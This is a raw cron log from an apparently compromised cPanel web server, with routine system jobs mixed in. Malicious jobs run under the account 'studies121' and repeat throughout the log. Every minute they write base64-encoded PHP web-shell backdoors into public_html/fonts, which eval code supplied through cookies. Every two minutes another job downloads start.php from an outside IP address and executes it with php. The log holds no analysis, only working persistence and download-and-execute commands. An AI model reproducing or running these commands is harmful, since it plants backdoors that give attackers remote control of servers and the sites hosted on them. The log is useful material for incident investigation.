Sep  7 06:10:01 ip-184-168-122-23 CROND[5371]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 06:10:01 ip-184-168-122-23 CROND[5375]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 06:11:01 ip-184-168-122-23 CROND[5530]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 06:11:01 ip-184-168-122-23 CROND[5531]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:11:01 ip-184-168-122-23 CROND[5534]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:11:01 ip-184-168-122-23 CROND[5538]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 06:12:01 ip-184-168-122-23 CROND[5683]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:12:01 ip-184-168-122-23 CROND[5686]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 06:12:01 ip-184-168-122-23 CROND[5685]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 06:12:01 ip-184-168-122-23 CROND[5687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:12:01 ip-184-168-122-23 CROND[5690]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 06:13:01 ip-184-168-122-23 CROND[6042]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 06:13:01 ip-184-168-122-23 CROND[6044]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 06:13:01 ip-184-168-122-23 CROND[6045]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:13:01 ip-184-168-122-23 CROND[6046]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:14:01 ip-184-168-122-23 CROND[6374]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 06:14:01 ip-184-168-122-23 CROND[6377]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 06:14:01 ip-184-168-122-23 CROND[6378]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 06:14:01 ip-184-168-122-23 CROND[6376]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:14:01 ip-184-168-122-23 CROND[6380]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:15:01 ip-184-168-122-23 CROND[6525]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 06:15:01 ip-184-168-122-23 CROND[6529]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  7 06:15:01 ip-184-168-122-23 CROND[6528]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  7 06:15:01 ip-184-168-122-23 CROND[6531]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 06:15:01 ip-184-168-122-23 CROND[6533]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 06:15:01 ip-184-168-122-23 CROND[6534]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:15:01 ip-184-168-122-23 CROND[6535]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:15:01 ip-184-168-122-23 CROND[6536]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 06:16:01 ip-184-168-122-23 CROND[6662]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 06:16:01 ip-184-168-122-23 CROND[6666]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 06:16:01 ip-184-168-122-23 CROND[6664]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:16:01 ip-184-168-122-23 CROND[6667]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:16:01 ip-184-168-122-23 CROND[6665]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 06:16:01 ip-184-168-122-23 CROND[6668]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 06:17:01 ip-184-168-122-23 CROND[6779]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 06:17:01 ip-184-168-122-23 CROND[6783]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:17:01 ip-184-168-122-23 CROND[6782]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:17:01 ip-184-168-122-23 CROND[6781]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 06:18:01 ip-184-168-122-23 CROND[6893]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 06:18:01 ip-184-168-122-23 CROND[6894]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:18:01 ip-184-168-122-23 CROND[6897]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 06:18:01 ip-184-168-122-23 CROND[6900]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 06:18:01 ip-184-168-122-23 CROND[6901]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:19:01 ip-184-168-122-23 CROND[7007]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 06:19:01 ip-184-168-122-23 CROND[7010]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:19:01 ip-184-168-122-23 CROND[7009]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:19:01 ip-184-168-122-23 CROND[7011]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 06:20:01 ip-184-168-122-23 CROND[7138]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 06:20:01 ip-184-168-122-23 CROND[7140]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 06:20:01 ip-184-168-122-23 CROND[7143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 06:20:01 ip-184-168-122-23 CROND[7145]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:20:01 ip-184-168-122-23 CROND[7144]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 06:20:01 ip-184-168-122-23 CROND[7147]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 06:20:01 ip-184-168-122-23 CROND[7150]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:20:01 ip-184-168-122-23 CROND[7149]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 06:20:01 ip-184-168-122-23 CROND[7152]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 06:21:01 ip-184-168-122-23 CROND[7346]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 06:21:01 ip-184-168-122-23 CROND[7350]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:21:01 ip-184-168-122-23 CROND[7348]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:21:01 ip-184-168-122-23 CROND[7349]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 06:22:02 ip-184-168-122-23 CROND[7466]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 06:22:02 ip-184-168-122-23 CROND[7470]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:22:02 ip-184-168-122-23 CROND[7469]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 06:22:02 ip-184-168-122-23 CROND[7471]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 06:22:02 ip-184-168-122-23 CROND[7468]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
